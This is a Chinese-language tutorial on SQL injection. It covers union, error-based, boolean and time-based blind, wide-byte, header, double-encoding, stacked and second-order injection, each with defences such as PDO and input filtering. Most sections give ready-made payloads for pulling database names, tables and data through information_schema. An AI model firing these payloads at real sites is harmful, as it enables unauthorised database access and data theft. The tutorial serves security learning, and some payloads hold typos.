天天看點

SQL注入漏洞篇

SQL注入彙總,結合自身學習,整理常見SQL注入的原理及其利用方法

一篇SQL注入漏洞彙總,更新中…… 如有缺陷 望大佬指正
           

SQL注入産生的原因?

當程式執行邏輯時沒有對使用者輸入的參數做過濾處理,使參數直接與背景資料庫産生邏輯互動,即SQL注入

黑客就可以利用各種SQL注入的方法 擷取資料庫敏感資訊

當Web應用向背景資料庫傳遞SQL語句進行資料庫操作時。如果使用者輸入的SQL語句沒有經過嚴格的執行過濾且能導緻非法格式正常執行并輸出資料庫資訊,即為SQL注入。

在有與資料庫産生互動的地方,都有可能産生SQL注入漏洞。

SQL注入的危害?

  1. 洩露資料庫敏感資訊
  2. 擷取目标伺服器控制權

SQL注入常見資料類型 字元型(String)數值型(Int)GET POST cookie型

  • 字元型
  • 數字型
  • 盲注
  • 顯錯注入
  • GET型注入
  • POST型注入
  • Cookie型注入
  • Session型注入
  • Header注入

SQL 注入常見分類:

  1. 盲注
  2. 報錯注入
  3. GET POST注入
  4. Cookie Session型注入

SQL 特殊注入分類:

  1. 寬位元組注入
  2. HTTP頭注入(header注入)
  3. 二次編碼注入
  4. 堆疊注入
  5. 二次注入

SQL注入常見防禦方法

  1. 對使用者輸入的參數做嚴格過濾處理
  2. PDO 預處理資料庫對象
  3. PHP中可以使用特殊轉義字元函數 mysql_real_escape_string()
  4. 黑名單防禦和白名單防禦
  • 黑名單防禦:sql注入中 過濾 union select 和 information_schema 等敏感字元
  • 白名單防禦:sql注入中 驗證id參數是否是整形 隻允許傳入數字型參數

MySQL增删改查基礎語句

  1. 增 建立表
create database database_name;

create table table_name(
  id int,
  username varchar(100),
  password varchar(100)
);
           
  1. 删 删除資料庫内容
drop database database_name;

drop table table_name;

delete from table_name where id=x;
delete from table_name where username='username';
           
  1. 改 增加更新資料庫資料表
insert into table_name(id,username,password) VALUES ('id','user','pwd');

update table_name set username='KIO' where id=1';
-- 把id=1這一行的username的值改為KIO

use database_name;
           
  1. 查 查詢資料庫内容
--查詢所有資料庫
show databases;

--查詢所有資料表
show tables;

--查詢表内所有内容
select * from table_name;

--條件查詢指定列内容
select id author from table_name;

--條件查詢所有内容
select * from table_name where id=5;

           
  1. 導出資料庫
mysqldump -u username -p sql_file_name>[路徑] 重命名.sql
           
  1. 導入資料庫
1. source [路徑]file_name.sql;
2. 複制粘貼
           

回顯注入

什麼是回顯注入?

聯合回顯注入是通過聯合查詢的方式,利用SQL注入漏洞,擷取回顯位

通過回顯位,執行閉合SQL查詢語句 以擷取資料庫敏感資訊的操作

聯合注入的一般步驟(含語句):

  1. 判斷資料庫資料類型
?[參數func] 	1' and 1='2#			//字元型
?[參數func] 	1 and 1=2#				//數字型
           

通過頁面反響 判斷正确的資料類型 一般and後面有反應的語句即為目前類型

任何SQL注入前都需要判斷SQL資料類才能對症下藥,白盒測試中可以通過檢視源代碼判斷

  1. 判斷目前注入點 表列數
?[null]' order by 3#			//字元型

SQL注入常用注釋符 --+	#
           
  1. 擷取顯示位置
?[null]' union select 1,2,3#			
           
  1. 擷取目前資料庫名
?[null]' union select 1,database(),3#	

SQL注入常用函數名
// 	database()		查詢目前資料庫名
//	user()				查詢目前資料庫使用者名
//	version()			查詢目前互動的資料庫資訊或版本
           

顯位在2 即在2處查詢資料庫名

  1. 擷取所有資料庫名
?[null]' union select 1,group_concat(schema_name),3 from information_schema.schemata#	

SQL注入常用函數名
#	group_concat()		将查詢所有行的内容 以一行展示
           
  1. 判斷資料庫名 指定想要查詢的表名
?[null]' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='databasename'#	

#	group_concat()		将查詢所有行的内容 以一行展示
#	table_name				表名
#	tables						資料庫所有表
# table_schema			查詢的資料庫名
           
  1. 根據資料表名查詢所有的關鍵列
?[null]' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='tablename' table_schema='databasename'#	

#	group_concat()		将查詢所有行的内容 以一行展示
#	column_name				列名
#	columns						資料庫所有列
# table_schema			查詢的資料庫名
           
  1. 擷取關鍵列名的内容
?[null]' union select 1,group_concat('value'),group_concat('value') from 'databasename.tables_name'#	

#	group_concat()		将查詢所有行的内容 以一行展示
#	column_name				列名
#	columns						資料庫所有列
# table_schema			查詢的資料庫名
           

報錯注入

什麼是報錯注入?

利用資料庫機制,人為制造錯誤條件,使得查詢結果能夠出現在錯誤資訊中

正常使用者通路伺服器發送id資訊傳回正确的id資料。報錯注入是想辦法構造語句,讓錯誤資訊中可以顯示資料庫的内容,如果能讓錯誤資訊中傳回資料庫中的内容,即實作SQL注入。

什麼時候使用報錯注入?

當正常的回顯注入無法顯示結果,就可以使用報錯注入嘗試擷取結果

brint_r(mysql_error());		//顯示報錯資訊  當開發者用了報錯函數才能使用報錯注入
           

報錯注入常用函數

  1. extractvalue()
  2. updatexml()
  3. floor()

常見報錯注入利用語句

?[null]' and extractvalue(1,concat(0x7e,(select database()),0x7e))#	

# 0x7e 	十六進制編碼	在這裡起到定位作用
# and 	連接配接語句

?[null]' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#	

# 0x7e 	十六進制編碼	在這裡起到定位作用
# and 	連接配接語句

?[null]' and (select 1 from(select count(*),concat((此處可替換任意SQL語句),floor(rand(O)*2))x from 
information_schema.tables group by x)y)#
           

盲注

什麼是SQL盲注?

**盲打,手工盲打和sqlmap一把梭你選**<br />**普通SQL注入無回顯結果,且無法進行報錯注入的情況下選用盲注**<br />**使用布爾值判斷輸入的SQL語句是否與背景資料庫産生反應**
           

SQL盲注的常見方法:

布爾盲注(通過布爾值,參數 觀察頁面變化判斷)

時間盲注(觀察浏覽反響時間變化)

盲注的常用函數:

substr(database(),1,2) 從第一個字元開始,取2個字元

mid(database(),1,1) ** 從第一個字元開始,取1個字元

ascii() 把字元轉換為ASCII碼

ord('abcd') ** 擷取字元的第一個ASCII值

left('string',length) 擷取string從左邊開始的length值

right('string',length) 擷取string從右邊開始的length值

length() ** 擷取字元串長度

count()** 擷取行數

布爾盲注的一般步驟:

1.判斷資料庫版本
?id=1' and left(version(),1)='5'#		
  
  //擷取version()開始最左邊的length值判斷是否是5版本
           
2.判斷資料庫名的長度 //使用邏輯運算符
?id=1' and length(database())='8'#

//判斷資料庫名'database()' 的字元串長度是否是8個字元
           
3.依次擷取資料名
?id=1' and substr(database(),1,1)='v'#

# '1,1' 表示從第一個字元開始取一個字元
# 判斷資料庫名'database()'的第一個字元是不是v
           
?id=1' and left(database(),1)='s'#

# 判斷資料庫名'database()'最左邊的第一個字元是不是s
           
?id=1' and ascii(substr(database(),1,1))=115#

# '1,1' 表示從第一個字元開始取一個字元
# 判斷資料庫名'database()'的第一個字元的ascii編碼值是不是115 115=s
           
4.以上方法擷取到資料庫名
5.判斷表總數
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4#

#判斷表總數為4
           
6.依次擷取資料庫表的表名長度
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6#
# limit 0,1 取第一個表名	判斷第一個表名長度為6個字元
#	通過limit 判斷所有表名的長度
           
7.依次判斷擷取每個資料表名
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101#

#通過ascii将mid查詢的到第一個表的第一個字元轉換為asscii碼 這裡101=e
           

時間盲注

為什麼使用時間盲注?

網站注入無回顯,無報錯,且布爾盲注真假情況下,網站結果不會發生任何改變

可以使用時間盲注觀察網頁,分辨是否存在SQL注入

時間盲注的原理

通過if判斷語句,控制網站的響應時間 通過網站通路的響應時間來判斷sql語句的正确性

時間盲注常用函數
  • sleep() 函數
    • sleep(10) //網站等待10秒後再響應
  • if(exp1,exp2,exp3) if文法
    • 方法一:
    • if(條件表達式,表達式為真時執行的内容,表達式為假時執行的内容)
      • if((length())>8,sleep(10),null)
      • 判斷第一個表達式中的length>8 是否是正确的
      • 如果是錯誤的傳回結果為空
  • 通常使用第一種方法
    • 方法二:
    • if(條件表達式,表達式為真時執行的内容,表達式為假時執行的内容)
      • if((length())>8,null,sleep(10))

*網站本身需要響應時間 sleep 設定值要大

時間盲注一般步驟:

  1. 判斷資料庫長度
?id=1' and (if((length(database())=8),sleep(10),null))#

# 斷資料庫名長度是否為8
#	sleep(10) 結果為真時 頁面重新整理時間為10s
# null 結果為假時 傳回結果為空值
           
  1. 依次判斷資料庫名
?id=1' and (if((ascii(substr(database(),1,1))=115),sleep(10),null))#
           
  1. 判斷目前資料庫版本
?id=1' and (if((left(verseion(),1)='5'),sleep(10),null))#

#通過擷取版本号最左邊的第一個字元是否為5去判斷資料庫版本
           
  1. 判斷資料庫中表的個數
?id=1' and (if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(10),null))#
#判斷資料庫中表的個數是否為4個
           
  1. 依次判斷資料庫中的資料表的内容
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)))>100,sleep(5),1)--+
           
  1. 依次擷取表中資料
?id=1' and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)--+
           

寬位元組注入

什麼是寬位元組?

寬位元組是指兩個位元組寬度的編碼技術

寬位元組注入的原因?

  • MySQL的編碼是gbk(gbk編碼設定)
  • 字元不占一個位元組,占兩個位元組以上的為寬位元組
  • 寬位元組注入是利用mysql的特性
  • 資料庫使用的gbk編碼會将兩個位元組當作一個漢字
    • 産生寬位元組注入的前提:
    • 後端代碼對 ' 做了轉義過濾addslashes() 将在'前加入\
    • 資料庫是gbk編碼

\的URL編碼是%5c 當使用者輸入%df 形成%df%5c

這時如果資料庫使用了GBK編碼 會自動将%df%5c識别成漢字,起到了繞過轉義的效果,即存在寬位元組注入。

因為漢字屬于寬位元組

寬位元組注入方法

?id=%df' order by 5#

# %df是url編碼的特殊字元 也是一個寬位元組
# 當資料庫設定了GBK編碼 系統執行邏輯語句時 會判定為一個正常字元
# 這就形成了寬位元組注入
           

防禦方法

  1. 資料庫不使用GBK編碼
  2. PDO 預處理資料庫對象技術

HTTP頭注入

什麼是HTTP頭注入?

當使用者送出的參數未做過濾且Web程式執行邏輯代碼成功執行後,将使用者送出的參數直接輸出在HTTP響應頭中,即HTTP頭注入

header注入利用方法——可以使用Burpsuite抓包,修改請求頭注入點

http_header注入常見的利用點

  • **User_Agent ** 浏覽器版本資訊
  • **Referer ** 指明是從哪來的
  • X-forwarder-For 用戶端的真實IP
  • Client-IP 用戶端的IP
  • Cookie 浏覽器儲存的憑據資訊或session id

header頭注入産生的原因?

  1. 網站的請求消息的 請求頭中 與 資料庫 有互動
  2. 源代碼中使用了PHP超全局變量$_SERVER['value']

防禦方法:PDO

二次編碼注入

什麼是二次編碼注入?

當一個程式執行邏輯語句時,程式如果使用了addslashes()防注入函數,且又使用了urldecode()或rawurldecode()解碼函數時,會産生二次編碼注入的風險。

在正常的PHP中,開發者們會使用addslashes()轉義特殊字元函數,可以将引号 雙引号 \ 等特殊字元轉義,起到了防注入的效果。

urldecode()函數是對已編碼的url進行解碼,且PHP會在處理送出的資料之前先進行一次解碼

即二次編碼注入形成的過程->

正常邏輯: 使用者輸入id=1' 觸發 addslashes()轉義函數 會把引号轉義成“\”

二次編碼邏輯:

這時使用者輸入id=1%2527 ->

PHP自身解碼 id=1%27 (因為%25是%的編碼 隻) ->**

urldecode()觸發解碼 id=1%27 == id=1'

成功注入**

?id=1%2527' union select 1,2,3#
           

二次編碼注入産生的原因?

産生的前提:

使用了addslashes()等轉義字元 又使用了urldecode()url解碼函數

防禦方法

  1. 不使用urldecode()解碼函數方法
  2. PDO預處理資料對象
  • 為什麼這個世界要使用編碼?
    • 比如網絡通信中是減少備援,提高網絡速率
    • 比如計算機,讓計算機與計算機讀懂

堆疊注入

什麼是堆疊注入?

當使用者輸入資訊是,程式執行時并沒有對使用者輸入的參數做過濾限制

且當使用多條或堆疊形式的SQL語句可以觸發與資料庫的互動并傳回值,即存在SQL堆疊注入

堆疊注入産生的原因?

使用了函數:** mysql_multi_query()**

産生原理:資料庫引擎支援一次執行多條sql語句,使用者就可以注入多條sql語句進行攻擊

?id=1';show databases;show tables;……
           

防禦方法

  1. 使用正确的函數
  2. 使用PDO預處理資料對象

二次注入

什麼是二次注入?

舉個例子,二次注入是指一個資料庫或檔案内已存在惡意SQL注入語句。當使用者進行讀取操作時,資料庫記憶體儲的惡意SQL查詢語句被成功執行,導緻了注入漏洞。

二次注入産生的原因?

使用者輸入的sql注入語句沒有做過濾,被成功寫入到資料庫。當再次調用時,存儲在資料庫中的惡意資料執行SQL查詢時,發生了SQL注入

産生思路:

  1. 攻擊者通過構造資料 的形式,在浏覽器或其他軟體中送出HTTP資料封包請求到服務端進行處理,送出的資料封包請求中可能包含了攻擊者構造的SQL語句或者指令 。
  2. 服務端 應用程式會将攻擊者送出的資料資訊進行存儲 ,通常是儲存在資料庫中,儲存的資料資訊的主要作用是為應用程式執行其他功能提供原始輸入資料 并對用戶端請求做岀響應。
  3. 攻擊者向服務端發送第二個與第一次不相同的請求資料資訊。
  4. 服務端接收到黑客送出的第二個請求資訊後,為了處理該請求,服務端會査詢資料庫中已經存儲的資料資訊并處理,進而導緻攻擊者在第一次請求中構造的SQL語句或者指令在服務端環境中執行 。
  5. 服務端傳回執行的處理結果資料資訊,攻擊者可以通過傳回的結果資料 資訊判斷是否成功利用 二次注入漏洞。

防禦方法

  1. 對每一層産生注入點的資料庫互動位置都做過濾限制
  2. PDO預處理綁定參數

繼續閱讀